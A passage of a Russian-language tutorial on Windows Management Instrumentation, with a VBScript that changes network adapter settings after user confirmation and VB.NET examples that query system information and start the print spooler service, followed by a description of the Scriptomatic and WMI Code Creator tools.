' Целевой компьютер mComputer = "." ' Новые сетевые параметры задаются конкретными значениями ' Аналогичные параметры задаются значением "The same" ' Пустые парамеры задаются значением "" mNewIPAddress = "The same" mNewSubnetMask = "The same" mNewDNSServer = "The same" mNewDefaultIPGateway = "The same" mNewWINSPrimaryServer = "The same" mNewWINSSecondaryServer = "The same" ' Рабочие массивы Dim mDNSServerList() Dim mDefaultIPGatewayList() Dim mGatewayMetricList() Dim mNewDNSServerList() Dim mNewDefaultIPGatewayList() Dim mNewGatewayMetricList() ' Подключение к пространству имен целевого компьютера Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2") ' Получение коллекции адаптеров с указанным IP-адресом Set mAdapterList = mSWbemServices.ExecQuery ("Select * From Win32_NetworkAdapter") ' Получение MAC-адреса адаптера локального адаптера For Each mCurrentAdapter In mAdapterList If InStr(LCase(mCurrentAdapter.NetConnectionID), "локальн") > 0 _ Or InStr(LCase(mCurrentAdapter.NetConnectionID), "local") > 0 Then mMACAddress = mCurrentAdapter.MACAddress mCaption = mCurrentAdapter.Caption Exit For End If Next ' Получение коллекции параметров адаптера с указанным MAC-адресом Set mAdapterConfigList = mSWbemServices.ExecQuery _ ("Select * From Win32_NetworkAdapterConfiguration WHERE MACAddress = '" _ & mMACAddress & "'") ' Получение текущих параметров сетевого адаптера с указанным MAC-адресом For Each mCurrentAdapterConfig In mAdapterConfigList ' IP-адрес If IsNull(mCurrentAdapterConfig.IPAddress) = False Then For Each mCurrentIPAddress In mCurrentAdapterConfig.IPAddress mIPAddress = mCurrentIPAddress Exit For Next End If If mNewIPAddress = "The same" Then mNewIPAddress = mIPAddress mNewIPAddressList = Array(mNewIPAddress) ' Маска подсети If IsNull(mCurrentAdapterConfig.IPSubnet) = False Then For Each mCurrentIPSubnet In mCurrentAdapterConfig.IPSubnet mSubnetMask = mCurrentIPSubnet Exit For Next End If If mNewSubnetMask = "The same" Then mNewSubnetMask = mSubnetMask mNewSubnetMaskList = Array(mNewSubnetMask) ' DNS сервера If IsNull(mCurrentAdapterConfig.DNSServerSearchOrder) = False Then iCounter = 0 For Each mCurrentDNSServer In mCurrentAdapterConfig.DNSServerSearchOrder Redim Preserve mDNSServerList(iCounter) mDNSServerList(iCounter) = mCurrentDNSServer iCounter = iCounter + 1 Next End If If mNewDNSServer = "The same" Then For iCounter = 0 To UBound(mDNSServerList) Redim Preserve mNewDNSServerList(iCounter) mNewDNSServerList(iCounter) = mDNSServerList(iCounter) Next Else For iCounter = 0 To UBound(Split(mNewDNSServer,";")) Redim Preserve mNewDNSServerList(iCounter) mNewDNSServerList(iCounter) = Split(mNewDNSServer,";")(iCounter) Next End If ' Шлюзы If IsNull(mCurrentAdapterConfig.DefaultIPGateway) = False Then iCounter = 0 For Each mCurrentDefaultIPGateway In mCurrentAdapterConfig.DefaultIPGateway Redim Preserve mDefaultIPGatewayList(iCounter) mDefaultIPGatewayList(iCounter) = mCurrentDefaultIPGateway Redim Preserve mGatewayMetricList(iCounter) mGatewayMetricList(iCounter) = iCounter + 1 iCounter = iCounter + 1 Next End If If mNewDefaultIPGateway = "The same" Then For iCounter = 0 To UBound(mDefaultIPGatewayList) Redim Preserve mNewDefaultIPGatewayList(iCounter) mNewDefaultIPGatewayList(iCounter) = mDefaultIPGatewayList(iCounter) Redim Preserve mNewGatewayMetricList(iCounter) mNewGatewayMetricList(iCounter) = iCounter + 1 Next Else For iCounter = 0 To UBound(Split(mNewDefaultIPGateway,";")) Redim Preserve mNewDefaultIPGatewayList(iCounter) mNewDefaultIPGatewayList(iCounter) = Split(mNewDefaultIPGateway,";")(iCounter) Redim Preserve mNewGatewayMetricList(iCounter) mNewGatewayMetricList(iCounter) = iCounter + 1 Next End If ' WINS сервера If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = False Then mWINSPrimaryServer = mCurrentAdapterConfig.WINSPrimaryServer End If If mNewWINSPrimaryServer = "The same" Then If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = True Then mNewWINSPrimaryServer = "" Else mNewWINSPrimaryServer = mWINSPrimaryServer End If End If If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = False Then mWinsSecondaryServer = mCurrentAdapterConfig.WINSSecondaryServer End If If mNewWinsSecondaryServer = "The same" Then If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = True Then mNewWinsSecondaryServer = "" Else mNewWinsSecondaryServer = mWINSSecondaryServer End If End If Exit For Next ' Формирование сообщения по текущей и по будущей конфигурациям сетевого адаптера mInfoMessage = "Network adapter: " & mCaption & vbCrLf _ & "MAC address: " & mMACAddress & vbCrLf _ & "Current configuration:" & vbCrLf _ & vbTab & "IP address: " & mIPAddress & vbCrLf _ & vbTab & "Subnet mask: " & mSubnetMask & vbCrLf _ & vbTab & "Default Gateway: " & Join(mDefaultIPGatewayList,";") & vbCrLf _ & vbTab & "DNS servers: " & Join(mDNSServerList,";") & vbCrLf _ & vbTab & "WINS Primary Server: " & mWINSPrimaryServer & vbCrLf _ & vbTab & "WINS Secondary Server: " & mWINSSecondaryServer & vbCrLf _ & "New configuration:" & vbCrLf _ & vbTab & "IP address: " & mNewIPAddress & vbCrLf _ & vbTab & "Subnet mask: " & mNewSubnetMask & vbCrLf _ & vbTab & "Default Gateway: " & Join(mNewDefaultIPGatewayList,";") & vbCrLf _ & vbTab & "DNS servers: " & Join(mNewDNSServerList,";") & vbCrLf _ & vbTab & "WINS Primary Server: " & mNewWINSPrimaryServer & vbCrLf _ & vbTab & "WINS Secondary Server: " & mNewWINSSecondaryServer & vbCrLf _ & vbCrLf & "Please confirm the changes" & mNewWINSSecondaryServer & vbCrLf ' Окно подтверждения изменения настроек сетевого параметра mChangeFlag = MsgBox(mInfoMessage, vbOKCancel, "Network card settings change") If mChangeFlag = vbOK Then ' Установка нового IP адреса For Each mCurrentAdapterConfig in mAdapterConfigList errEnable = mCurrentAdapterConfig.EnableStatic _ (mNewIPAddressList, mNewSubnetMaskList) errGateways = mCurrentAdapterConfig.SetGateways _ (mNewDefaultIPGatewayList, mNewGatewayMetricList) errWINS = mCurrentAdapterConfig.SetWINSServer _ (mNewWINSPrimaryServer, mNewWinsSecondaryServer) errDNS = mCurrentAdapterConfig.SetDNSServerSearchOrder _ (mNewDNSServerList) Exit For Next ' Pезультат операции mInfoMessage = "Operation result:" & vbCrLf _ & "IP address error code: " & errEnable & vbCrLf _ & "Gateway error code: " & errGateways & vbCrLf _ & "DNS error code: " & errDNS & vbCrLf _ & "WINS error code: " & errWINS & vbCrLf Else mInfoMessage = "The operation is canceled" End If Wscript.Echo(mInfoMessage)
Ресурсы WMI доступны не только через скрипты, к ним можно обращаться из других языков программирования и даже из программ.
Существует два способа обращения к WMI через Visual Basic.NET.
Первый способ берет свое начало из скриптов VBS. Он использует обращение к инстументу winmgmts, как это делалось в методе моникера:
oComputerSystem = GetObject("winmgmts:[Options!]WMINameSpace).ExecQuery(WQLQuery)
Пример запроса модели комьютера (консольное приложение)
Module TestModule Sub Main() ' Объявление переменных Dim oWMIObject As Object Dim oComputerSystem As Object Try ' Подключение к WMI oWMIObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") ' Выполнение запроса oComputerSystem = oWMIObject.ExecQuery("Select * from Win32_ComputerSystem") For Each oConfigutation As Object In oComputerSystem ' Вывод результатов в консоль Console.Write(oConfigutation.Model) Next Catch ex As Exception Console.Write("Ошибка запроса к WMI") End Try End Module
Второй способ является более правильным с точки зрения Visual Studio. Он использует классSystem.Managementдля запросов к WMI, в котором указываются пространство WMI, параметры подключения и WQL запрос:
' Задание параметров подключения mOptions = New Management.ConnectionOptions([Options]) ' Задания WMI пространства имен mScope = New Management.ManagementScope(WMINameSpace, mOptions) ' Задание WQL запроса mQuery = New Management.ObjectQuery(WQLQuery) ' Создание объекта поиска по WMI с указанными параметрами mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery) ' Выполнение запроса mQueryCollection = mSearcher.Get()
Использование полученных объектов аналогично использованию в скриптах.
Пример запроса сервисов локального комьютера (консольное приложение):
Module TestModule Sub Main() ' Объявление переменных Dim mOptions As Management.ConnectionOptions Dim mScope As Management.ManagementScope Dim mQuery As Management.ObjectQuery Dim mSearcher As Management.ManagementObjectSearcher Dim mQueryCollection As Management.ManagementObjectCollection ' Задание параметров подключения mOptions = New Management.ConnectionOptions ' Задания WMI пространства имен mScope = New Management.ManagementScope("\\.\root\cimv2", mOptions) ' Задание WQL запроса mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service") ' Создание объекта поиска по WMI с указанными параметрами mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery) Try ' Выполнение запроса mQueryCollection = mSearcher.Get() ' Вывод результатов в консоль For Each mObject As Management.ManagementObject In mQueryCollection Console.WriteLine(mObject.Item("DisplayName").ToString) Next Catch ex As Exception Console.Write("Ошибка запроса к WMI") End Try End Sub End Module
В качестве примера прораммы использования WMI в Visual Basic.Net представлено консольное приложение управления сервисом печати компьютера. Приложение запрашивает модель компьютера и выводит результат в консоль. После чего запрашивает состояние сервиса печати и, если он остановлен, предлагает запустить его.
Приложение разделено на две части: класс, который компилируется в динамическую библиотеку DLL, и программа, которая собирается в исполняемый файл EXE.
Листинг файла WMIClass.vb:
Public Class WMIClass ' Функция получения модели копьютера #Region "GetModel 1.0" Public Function GetModel(Optional ByVal IPAddress As String = ".") As String Dim mTempValue As String = Nothing Try Dim oComputerSystem = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ IPAddress & "\root\cimv2").ExecQuery("Select * from Win32_ComputerSystem") For Each oConfigutation As Object In oComputerSystem mTempValue = oConfigutation.Model Next Catch ex As Exception End Try Return mTempValue End Function #End Region ' Функция получения состояния сервиса компьютера #Region "GetServiceState 1.0" Public Function GetServiceState(Optional ByVal IPAddress As String = ".", _ Optional ByVal ServiceName As String = "winmgmt") As Boolean Dim mOptions As Management.ConnectionOptions Dim mScope As Management.ManagementScope Dim mQuery As Management.ObjectQuery Dim mSearcher As Management.ManagementObjectSearcher mOptions = New Management.ConnectionOptions mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions) mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _ "WHERE DisplayName = '" & ServiceName & "'") mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery) Try Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get() For Each mObject As Management.ManagementObject In mQueryCollection If mObject("State") = "Running" Then Return True Else Return False End If Next Return False Catch ex As Exception Return False End Try End Function Public Function GetServiceStateFull(Optional ByVal IPAddress As String = ".", _ Optional ByVal ServiceName As String = "winmgmt") As String Dim mOptions As Management.ConnectionOptions Dim mScope As Management.ManagementScope Dim mQuery As Management.ObjectQuery Dim mSearcher As Management.ManagementObjectSearcher mOptions = New Management.ConnectionOptions mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions) mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & "WHERE DisplayName = '" & ServiceName & "'") mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery) Try Dim mQueryCollection As Management.ManagementObjectCollection = mSearcher.Get() For Each mObject As Management.ManagementObject In mQueryCollection Return mObject("State") Next Return "No data" Catch ex As Exception Return "No data" End Try End Function #End Region ' Процедура управления сервисом компьютера #Region "Manage Service 1.0" Public Sub ManageService(Optional ByVal IPAddress As String = ".", _ Optional ByVal ServiceName As String = "winmgmt", _ Optional ByVal Action As String = "StartService") Dim mOptions As Management.ConnectionOptions Dim mScope As Management.ManagementScope Dim mQuery As Management.ObjectQuery Dim mSearcher As Management.ManagementObjectSearcher Dim mQueryCollection As Management.ManagementObjectCollection mOptions = New Management.ConnectionOptions mScope = New Management.ManagementScope("\\" & IPAddress & "\root\cimv2", mOptions) mQuery = New Management.ObjectQuery("SELECT * FROM Win32_Service " & _ "WHERE DisplayName = '" & ServiceName & "'") mSearcher = New Management.ManagementObjectSearcher(mScope, mQuery) Try mQueryCollection = mSearcher.Get() For Each mObject As Management.ManagementObject In mQueryCollection mObject.InvokeMethod(Action, Nothing) Next Catch ex As Exception End Try End Sub #End Region End Class
Листинг файла TestModule.vb:
Module TestModule ' Создание экземпляра класса WMIClass Private mWMIClass_Instance As New WMIClass Sub Main() Dim mKeyNumber As Integer ' Получение модели компьютера и результата в консоль Console.WriteLine("Модель компьютера: " & mWMIClass_Instance.GetModel()) ' Проверка состояния сервиса "Диспетчер печати" If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then Console.WriteLine("Служба ""Диспетчер печати"" запущена") Else Console.WriteLine("Служба ""Диспетчер печати"" остановлена") Console.Write("Запустить службу ""Диспетчер печати""? Y/N: ") ' Чтение символа с клавиатуры mKeyNumber = Console.Read If mKeyNumber = 89 Or mKeyNumber = 121 Then Console.WriteLine("Запуск службы ""Диспетчер печати""...") ' Попытка запуска сервиса "Диспетчер печати" mWMIClass_Instance.ManageService(, "Диспетчер печати", "StartService") ' Ожидание 5 секунда Threading.Thread.Sleep(5000) ' Проверка состояния сервиса "Диспетчер печати" If mWMIClass_Instance.GetServiceState(, "Диспетчер печати") = True Then Console.WriteLine("Служба ""Диспетчер печати"" успешно запущена") Else Console.WriteLine("Запуск службы ""Диспетчер печати"" не удался") End If End If End If Console.WriteLine("Нажмите любую клавишу для продолжения") ' Ожидание нажатия любой клавиши Console.ReadKey() End Sub End Module
Для того, чтобы облегчить написание скриптов и программ, существуют специальные утилиты, которые помогают просмотреть структуру пространства WMI и показавают примеры использования всех классов. Наиболее распространенные утилиты — это Scriptomatic и WMI Code Creator.
Инструмент Scriptomatic предствляет из себя HTA-приложение, которое генерирует код, использующий WMI, на VBSScript, JScript, Perl и Python. Сам по себе WMI может оказаться трудным для изучения, поэтому рекомендуется использовать Scriptomatic для освоения классов WMI, а также для быстрого создания шаблонов обращения к ресерсум WMI. Scriptomatic позволяет выбрать интересующий объект WMI, а затем генерирует код на указанном языке программирования. Полученный код можно выполнить непосредственно в оболочке программы, а результаты вывести в консоль, текстовый файл, HTML, Excel или XML. Инструмент доступен на сайте Microsoft по этой ссылке.
WMI Scriptomatic — Инициализация
WMI Scriptomatic — Win32_OpepatingSystem
Программа WMI Code Creator представляет из себя генератор кода, который использует WMI для получения информации и для осуществления задач упраления компьютерами. Программа может помочь научиться использовать WMI-скрипты и WMI-приложения для управления как локальным, так и удаленным компьютером. Инструмент доступен на сайте Microsoft по этой ссылке.
Используя WMI Code Creator можно найти любую информацию о компьютере: имя и версия операционной системы, свободное место на диске, состояние сервисов и так далее. Можно выполнить метод из WMI класса для осуществления управления компьютером: создать или удалить сервис, запустить или закрыть программы, назначить разрешения на папку или файл и многое другое. Этот инструмент так же позволяет просматривать доступное WMI-пространство и WMI-классы, чтобы найти нужную для программирования инстанцию с ее описанием, свойствами, методами и примером использования.
WMI Code Creator — Query
WMI Code Creator — Method
WMI Code Creator — Event
WMI Code Creator — Namespace
Итак, Windows Management Instrumentation — это мощный инструмент для администрирования операционных систем семейства Windows с помощью скриптов. С помощью WMI можно управлять устройствами, учетными записями, сервисами, процессами, сетевыми интерфейсами и другими программами, которые расширяют базовую структуру WMI своими классами.
Помимо скриптов WMI может применяться и в полноценных программах, то есть программисты могут внедрять запросы к WMI в исполняемый код, завязывая свою программу с работой WMI, благодаря чему программа становится проще и легче, но зависимой от правильности работы Windows Management Instrumentation.
Интересно, что новая командная оболочка Windows PowerShell связана с WMI как технической точки зрения, так и с точки зрения создания запросов — утилита Wmic.exe функционирует в некотором смысле аналогичным образом. В Windows PowerShell поддержка WMI, представлена в точно таком же согласованном объектном виде, как и другие возможности данной оболочки, поэтому при изучении этой оболочки применение WMI не становится такой сложной задачей, как это было в VBScript — не нужно изучать синтаксис и механизмы языка, отличного от языка скрипта.
Инструменты для написания скриптов ScriptReference.zip.
Более подробно о Windows PowerShell можно будет прочитать в следующих выпусках статей сайта www.SysEngineering.ru.
Виталий Бочкарев